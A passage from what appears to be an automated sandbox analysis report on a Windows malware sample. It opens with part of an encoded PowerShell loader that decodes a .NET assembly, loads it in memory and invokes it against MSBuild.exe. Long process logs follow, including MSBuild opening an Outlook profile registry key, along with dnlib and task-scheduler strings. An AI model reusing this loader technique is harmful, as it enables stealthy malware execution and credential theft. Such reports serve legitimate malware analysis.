gAJABuAG8AZABvAGkAZAApADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYgBlAG4AegBvAHQAaABpAGEAegBpAG4AZQBzACAALQBnAHQAIAAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAOwAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAIAArAD0AIAAkAHIAZQBjAG8AbQBmAG8AcgB0AGwAZQBzAHMALgBMAGUAbgBnAHQAaAA7ACQASABhAHQAaABvAHIAIAA9ACAAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAAtACAAJAB1AG4AYwByAGUAYQB0AGkAdgBlADsAJAByAGUAdgBvAGwAdQB0AGkAbwBuAGkAegBlAGQAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAdQBuAGMAcgBlAGEAdABpAHYAZQAsACAAJABIAGEAdABoAG8AcgApADsAJABtAGUAbQBvAHIAYQBiAGwAZQBuAGUAcwBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAZQB2AG8AbAB1AHQAaQBvAG4AaQB6AGUAZAApADsAJABjAHUAbAB0AHIAYQB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAbQBlAG0AbwByAGEAYgBsAGUAbgBlAHMAcwApADsAJAByAGUAcwBpAHQAdQBhAHQAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMALAAnACcALAAnACcALAAnACcALAAnAE0AUwBCAHUAaQBsAGQAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwBxAHUAZQByAHUAbABvAHUAcwBuAGUAcwBzAGUAcwAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAYwBlAG4AdABpAG0AZQB0AHIAaQBjACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$al	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source:	Binary string: dnlib.DotNet.Pdb.PdbWriter+ source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.mdrawmethodimplrowdnlib.dotnet.pdbpdbimpltype source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `2microsoft.win32.taskschedulercalendartriggermicrosoft.win32.taskschedulertaskprincipalprivilegemicrosoft.win32.taskschedulertasksnapshotvirtualmachinedetectordnlib.dotnet.pdbsymbolreadercreatordnlib.dotnet.emitinstructionprinterdnlib.dotnettypeequalitycomparerdnlib.dotnet.mdimagecor20headerdnlib.dotnet.mdirawrowdnlib.dotnet.writermethodbodywritermicrosoft.win32.taskschedulertaskregistrationinfomicrosoft.win32.taskschedulershowmessageactiondnlib.dotnetihasdeclsecuritycomhandlerupdatemicrosoft.win32.taskschedulereventtriggerdnlib.dotnetimanagedentrypointstartup_informationmicrosoft.win32.taskscheduler.fluentmonthlydowtriggerbuildermicrosoft.win32.taskschedulertaskauditrulednlib.dotnet.writerstrongnamesignaturednlib.dotnetitypednlib.dotnetsentinelsigdnlib.dotnet.mdicolumnreaderdnlib.dotnet.writermodulewritereventdnlib.dotnettypenameparserdnlib.dotneticustomattributednlib.dotnet.pdb.dsssymbolwritercreatordnlib.dotnet.resourcesbinaryresourcedatadnlib.dotnet.mdrawtyperefrowdnlib.ioimagestreamcreatorconnectiontokendnlib.pepeextensionsdnlib.dotnet.pdbsequencepointdnlib.dotnetlinkedresourcednlib.dotnettyperefdnlib.dotnetpublickeydnlib.dotnetiassemblyreffinderdnlib.dotnet.mdrawgenericparamconstraintrowdnlib.dotnettypedefdnlib.dotnetrecursioncounterdnlib.dotnet.mdrawassemblyrefosrowdnlib.pecharacteristicsdnlib.w32resourcesresourcedirectorype source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1dnlib.dotnet.emitexceptionhandlertypednlib.dotnet.pdb.managedsymbolreadercreatordnlib.dotnetmoduledefuserdnlib.dotnetgenericparamconstraintuserdnlib.dotnetparamdefdnlib.dotnet.mdrawtypedefrowdnlib.dotnet.resourcescreateresourcedatadelegatednlib.dotnetvtableflagsdnlib.dotnet.mdrawinterfaceimplrowdnlib.dotnet.writeriheapdnlib.dotnet.mdmetadataheader source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: >.CurrentSystem.Collections.IEnumerator.CurrentSystem.Collections.Generic.IEnumerator<System.Int32>.get_CurrentSystem.Collections.Generic.IEnumerator<System.Collections.Generic.KeyValuePair<System.UInt32,System.Byte[]>>.get_CurrentSystem.Collections.Generic.IEnumerator<System.Collections.Generic.KeyValuePair<System.String,System.String>>.get_CurrentSystem.Collections.Generic.IEnumerator<T>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.CustomAttribute>.get_CurrentSystem.Collections.Generic.IEnumerator<TValue>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.FieldDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MethodDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.TypeDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.EventDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.PropertyDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.ModuleRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.TypeRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MemberRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.AssemblyRef>.get_CurrentSystem.Collections.Generic.IEnumerator<System.String>.get_CurrentSystem.Collections.Generic.IEnumerator<TIn>.get_CurrentSystem.Collections.Generic.IEnumerator<Microsoft.Win32.TaskScheduler.TaskFolder>.get_CurrentSystem.Collections.Generic.IEnumerator<Microsoft.Win32.TaskScheduler.Trigger>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.CANamedArgument>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MD.IRawRow>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.AssemblyResolver. source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1dnlib.dotnet.writermodulewriteroptionsbasednlib.dotnet.pdb.dssisymunmanagedwriter2microsoft.win32.taskschedulernotsupportedpriortoexceptiondnlib.dotnetmodulerefuserdnlib.dotnet.mddotnetstreamdnlib.dotnet.writerusheapdnlib.dotnet.pdbimage_debug_directorydnlib.dotnet.writermdtable`1microsoft.win32.taskschedulermaintenancesettingsdnlib.dotnet.writercreatepdbsymbolwriterdelegatemicrosoft.win32.taskschedulertaskrightsdnlib.dotnet.writermodulewriterexceptiondnlib.dotnet.pdb.managedpdbreaderdnlib.dotnetparamattributesdnlib.dotnet.writerhotheapdnlib.dotnettypedeforrefsigdnlib.dotnettypenameparserexceptiondnlib.dotnetexportedtypeuserdnlib.dotnet.emitcilbodydnlib.dotnet.writersignaturewriterdnlib.dotnetmethodspecuserdnlib.dotnetvtablemicrosoft.win32.taskscheduler.fluentintervaltriggerbuildermicrosoft.win32.taskschedulernotv2supportedexceptiondnlib.dotnetcanamedargumentdnlib.dotnet.emitmethodutilsdnlib.dotnet.writerblobheapdnlib.dotnet.pdbpdbstateelemdnlib.dotnetresolveexceptiondnlib.dotnet.resourcesresourceelementsetdnlib.dotnetifielddnlib.dotnet.mdrawconstantrowdnlib.dotnet.resourcesuserresourcetypemicrosoft.win32.taskschedulerregistrationtriggerdnlib.dotneteventequalitycomparertaskprincipalprivilegesenumeratordnlib.dotnettypespecdnlib.dotnet.emitopcodesmicrosoft.win32.taskschedulernamevaluepairmicrosoft.win32.taskschedulertaskaccessrulednlib.dotnet.mdtablednlib.dotnetihassemanticmicrosoft.win32.taskschedulertaskprocesstokensidtypemicrosoft.win32.taskschedulertaskcollectiondnlib.dotnetpinnedsigdnlib.dotnetmanifestresourcednlib.dotnet.emitinvalidmethodexceptiondnlib.dotnet.mdrawmodulerefrow<>c<>c<>c<>c<>c<>c<>c<>c<>c<>cdnlib.w32resourcesresourcename<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>cdnlib.dotnet.emitinstructiondnlib.dotnet.emitflowcontroldnlib.dotnetiresolverdnlib.dotnetassemblyrefdnlib.dotnet.writerhotheap20microsoft.win32.taskschedulerweeklytriggerdnlib.dotnetptrsigdnlib.dotnet.resourcesresourcetypecodemicrosoft.win32.taskscheduler.fluentsettingsbuilderdnlib.ioloaderdnlib.dotnet.mdrawpropertymaprowdnlib.dotnet.mdirowreader`1microsoft.win32.taskschedulertasktriggertypednlib.dotnet.mdcolumninfodnlib.dotnetnonleafsigdnlib.dotnetcallingconventionsigmicrosoft.win32.taskscheduleridlesettingsdnlib.dotnet.writeruniquechunklist`1dnlib.dotnetsigcompareroptionsdnlib.dotnetassemblydefdnlib.ioifilesectiondnlib.dotnetsignaturereadermicrosoft.win32.taskschedulerlogontriggerdnlib.dotnet.mdrawimplmaprowdnlib.dotnetimemberrefdnlib.dotnet.writerbytearraychunkdnlib.dotnetarraymarshaltypednlib.pesubsystemdnlib.dotnetassemblylinkedresourcednlib.dotnetcmodoptsigdnlib.dotnet.mdmdtablednlib.dotnetlocalsigdnlib.dotnetimemberdefdnlib.dotnetfixedarraymarshaltypemicrosoft.win32.taskschedulercomhandleractiondnlib.dotnetmoduledefmd2dnlib.dotnet.emitdynamicmethodbodyreaderdnlib.dotnetclasslayoutuserdnlib.dotnetmethodsigtokentypemicrosoft.win32.taskschedulermonthlytriggerdnlib.peipeimagednlib.dotnet.mdrawfilerowdnlib.dotnet.writerhotheap40dnlib.dotnetmodifiersigdnlib.d
Source:	Binary string: dnlib.dotnet.pdb.managedpdbexception source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.mdrawassemblyrefrowdnlib.dotnet.writermethodbodychunksmicrosoft.win32.taskschedulernetworksettingsmicrosoft.win32.taskschedulertaskschedulersnapshotcronfieldtypesystem.runtime.compilerservicesisreadonlyattributednlib.dotnet.mdrawtypespecrowdnlib.dotnetfielddefuserdnlib.dotnetinterfacemarshaltypednlib.dotnet.writermetadataflagsdnlib.dotnet.mdrawfieldlayoutrowmicrosoft.win32.taskschedulertaskdnlib.dotnet.writermetadataoptionsdnlib.dotnetimdtokenproviderdnlib.dotnetsignatureequalitycomparermicrosoft.win32.taskschedulerquicktriggertypednlib.dotnetifullnamecreatorhelperdnlib.dotnet.resourcesresourceelementdnlib.dotnetmodulecreationoptionsdnlib.dotnet.emitiinstructionoperandresolverdnlib.utilslazylist`1dnlib.dotnetpropertyattributesdnlib.dotnet.mdrawmethodrowdnlib.dotnet.mdrawassemblyrowdnlib.threadingexecutelockeddelegate`3dnlib.dotnetmoduledefmddnlib.ioiimagestreamdnlib.dotnetclasssigdnlib.dotnetstrongnamesignerdnlib.dotnetinvalidkeyexceptionelemequalitycomparerdnlib.dotnet.mdrawpropertyptrrowdnlib.threadinglistiteratealldelegate`1microsoft.win32.taskscheduler.fluentbasebuilderdnlib.dotnet.mdheapstreamdnlib.pepeimagednlib.dotnetitypedeffindermicrosoft.win32.taskschedulersnapshotitemdnlib.dotnetmemberrefdnlib.dotnetimemberrefresolverdnlib.dotnetconstantuserdnlib.dotnetimethoddecrypterdnlib.dotnetassemblynamecomparerdnlib.dotnetiresolutionscopednlib.dotnetsecurityattributednlib.dotnet.writerpeheadersoptionsdnlib.dotnet.writerioffsetheap`1dnlib.dotnetimethoddnlib.dotnetcorlibtypesdnlib.dotnet.writertablesheapdnlib.dotnet.emitopcodetypednlib.dotnetiassemblyresolverdnlib.dotnetassemblyattributesdnlib.dotneticustomattributetypednlib.dotnetdummyloggerdnlib.dotnet.mdrawfieldptrrowdnlib.dotnetiloggermicrosoft.win32.taskschedulerdailytriggerdnlib.dotnettyperefuserdnlib.dotnet.writerdummymodulewriterlistenerdnlib.dotnetassemblyhashalgorithmdnlib.dotnet.pdbpdbdocumentdnlib.dotnetpinvokeattributesdnlib.dotnetivariablednlib.dotnetresourcednlib.dotnet.write